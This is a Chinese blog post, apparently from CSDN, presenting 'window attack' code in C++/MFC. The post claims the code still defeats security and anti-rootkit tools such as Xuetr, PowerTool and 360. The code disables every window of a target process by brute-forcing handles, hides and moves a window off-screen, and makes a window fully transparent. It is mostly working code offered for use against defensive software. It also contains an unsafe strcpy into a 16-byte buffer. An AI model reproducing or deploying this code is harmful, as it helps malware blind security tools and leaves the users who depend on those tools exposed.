窗口攻击大法

窗口攻击大法:

现在攻击Xurte, powertool,360等都还有用。。

界面:



1.窗口失效

void CWindowAttackDlg::On_Ok() 
{
	// TODO: Add your control notification handler code here
	// TODO: Add extra validation here
	DWORD dwInputPID = GetDlgItemInt(IDC_EDT_pid);
	DWORD dwPID;
	for (int i = 10000; i < 9999999;i++)
	{
		GetWindowThreadProcessId((HWND)i, &dwPID);
		if ( (dwPID == dwInputPID) || (dwPID == 0))
		{
			::EnableWindow((HWND)i, 0);
		}
	}
}

2.窗口移动

void CWindowAttackDlg::OnOk2() 
{
	// TODO: Add your control notification handler code here
	WINDOWPLACEMENT stPlacement = {0};
	stPlacement.length = sizeof(WINDOWPLACEMENT);
	stPlacement.showCmd = SW_HIDE;
	stPlacement.ptMaxPosition.x = -12;
	stPlacement.ptMaxPosition.y = -12;

	stPlacement.ptMinPosition.x = -12;
	stPlacement.ptMinPosition.y = -12;
	stPlacement.rcNormalPosition.bottom = -12;
	stPlacement.rcNormalPosition.left = -12;
	stPlacement.rcNormalPosition.right = -12;
	stPlacement.rcNormalPosition.top = -12;

	DWORD dwHandle = GetDlgItemInt(IDC_EDT_pid2);


	::SetWindowPlacement((HWND)dwHandle, &stPlacement);

	::MoveWindow((HWND)dwHandle, -1, -1, 0, 0 , FALSE);
	::SetWindowPos((HWND)dwHandle,HWND_BOTTOM, -21, -12, 0, 0, SWP_HIDEWINDOW);
}

3. 窗口透明

typedef  BOOL  (__stdcall *pSetLayeredWindowAttributes) ( HWND hwnd, COLORREF crKey, BYTE bAlpha,DWORD dwFlags);

int ChangeNum(CString str,int length)     
{     
    char  revstr[16]={0};  //根据十六进制字符串的长度,这里注意数组不要越界  
    int   num[16]={0};     
    int   count=1;     
    int   result=0;     
    strcpy(revstr,str);     
    for   (int i=length-1;i>=0;i--)     
    {     
        if ((revstr[i]>='0') && (revstr[i]<='9'))     
            num[i]=revstr[i]-48;//字符0的ASCII值为48  
        else if ((revstr[i]>='a') && (revstr[i]<='f'))     
            num[i]=revstr[i]-'a'+10;     
        else if ((revstr[i]>='A') && (revstr[i]<='F'))     
            num[i]=revstr[i]-'A'+10;     
        else     
            num[i]=0;   
        result=result+num[i]*count;     
        count=count*16;//十六进制(如果是八进制就在这里乘以8)      
    }     
    return result;     
}  


void CWindowAttackDlg::OnOk3() 
{
	// TODO: Add your control notification handler code here
	DWORD dwHwnd;
	CString strHwnd;
	GetDlgItemText(IDC_EDT_pid3, strHwnd);

	dwHwnd = ChangeNum(strHwnd, strHwnd.GetLength());

	DWORD dwExStyle = ::GetWindowLong((HWND)dwHwnd, GWL_EXSTYLE);
	::SetWindowLong((HWND)dwHwnd, GWL_EXSTYLE, dwExStyle | WS_EX_LAYERED);

	HMODULE hUser = GetModuleHandle("user32.dll");
	if (hUser == NULL)
	{
		AfxMessageBox("GetModuleHandle error");
		return ;
	}
		//SetLayeredWindowAttributes
	pSetLayeredWindowAttributes pMySetLayeredWindowAttributes;
	pMySetLayeredWindowAttributes = (pSetLayeredWindowAttributes)GetProcAddress(hUser, "SetLayeredWindowAttributes");
	pMySetLayeredWindowAttributes((HWND)dwHwnd, 0, 0, LWA_ALPHA);
	FreeLibrary(hUser);
}


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值